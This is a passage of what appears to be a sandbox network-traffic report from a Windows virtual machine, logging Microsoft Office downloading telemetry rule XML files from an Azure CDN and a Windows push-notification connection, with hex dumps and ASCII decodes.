encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49737	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:06 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:06 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: bac56044-101e-0079-505d-235913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190406Z-17fbfdc98bbqc8zsbguzmabx68000000061g000000006934 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:06 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49739	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:06 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:06 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 1b2fb3ba-201e-0033-65ce-20b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190406Z-r1755647c66vrwbmeqw88hpesn00000008a00000000093rb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:06 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49740	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:06 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:06 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 6ca7d158-d01e-0014-15ac-21ed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190406Z-r1755647c66nfj7t97c2qyh6zg00000005f00000000061ws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:06 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49741	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:06 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:06 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 7de7ed35-901e-005b-7c14-222005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190406Z-r1755647c66zkj29xnfn2r3bwn00000005u0000000003x2w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:06 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49745	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:07 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:07 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 3edebaab-e01e-0033-21c8-214695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190407Z-r1755647c66xrxq4nv7upygh4s0000000280000000000sgk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:07 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49747	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:07 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:07 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 4cd68789-d01e-0017-448e-21b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190407Z-r1755647c66f2zlraraf0y5hrs0000000710000000009w7r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:07 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49744	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:07 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:07 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: fe83e199-601e-00ab-415a-2366f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190407Z-17fbfdc98bbgzrcvp7acfz2d30000000067g000000004pcm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:07 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49742	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:07 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 59 67 71 67 39 53 44 51 42 55 57 37 47 39 2b 67 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 64 31 62 36 36 30 39 33 37 63 31 31 37 35 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: Ygqg9SDQBUW7G9+g.1Context: dd1b660937c11756
2024-10-23 19:04:07 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-23 19:04:07 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 59 67 71 67 39 53 44 51 42 55 57 37 47 39 2b 67 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 64 31 62 36 36 30 39 33 37 63 31 31 37 35 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 41 49 4f 70 45 48 35 59 7a 6d 59 4a 58 45 49 53 71 71 39 6d 61 6c 6e 31 33 77 66 45 75 59 2b 57 43 65 49 30 44 78 6f 73 66 39 47 30 4e 66 48 47 68 72 51 35 43 50 35 61 4a 78 6f 68 4b 4a 78 4b 45 6d 79 73 38 44 4d 49 31 4b 7a 73 52 37 62 51 45 63 6a 2b 61 66 31 73 30 41 55 46 56 59 38 4f 5a 7a 55 77 55 78 69 70 4e 6f 56 7a Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: Ygqg9SDQBUW7G9+g.2Context: dd1b660937c11756<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYAIOpEH5YzmYJXEISqq9maln13wfEuY+WCeI0Dxosf9G0NfHGhrQ5CP5aJxohKJxKEmys8DMI1KzsR7bQEcj+af1s0AUFVY8OZzUwUxipNoVz
2024-10-23 19:04:07 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 59 67 71 67 39 53 44 51 42 55 57 37 47 39 2b 67 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 64 31 62 36 36 30 39 33 37 63 31 31 37 35 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: Ygqg9SDQBUW7G9+g.3Context: dd1b660937c11756<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-23 19:04:07 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-23 19:04:07 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 5a 51 32 44 49 6c 65 68 33 30 47 49 48 39 6b 7a 6b 6c 7a 6e 4a 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: ZQ2DIleh30GIH9kzklznJw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49748	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:07 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:07 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: b1dca041-701e-0001-1ae2-20b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190407Z-r1755647c66ww2rh494kknq3r000000009ag000000008wkf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:07 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49749	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:07 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:07 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: b4b04932-601e-0050-10e3-202c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190407Z-r1755647c66z4pt7cv1pnqayy400000008ng000000005wpg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:07 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49752	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:07 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:08 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: a019224c-501e-0047-645d-23ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190408Z-17fbfdc98bblptj7fr9s141cpc0000000630000000009ahb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
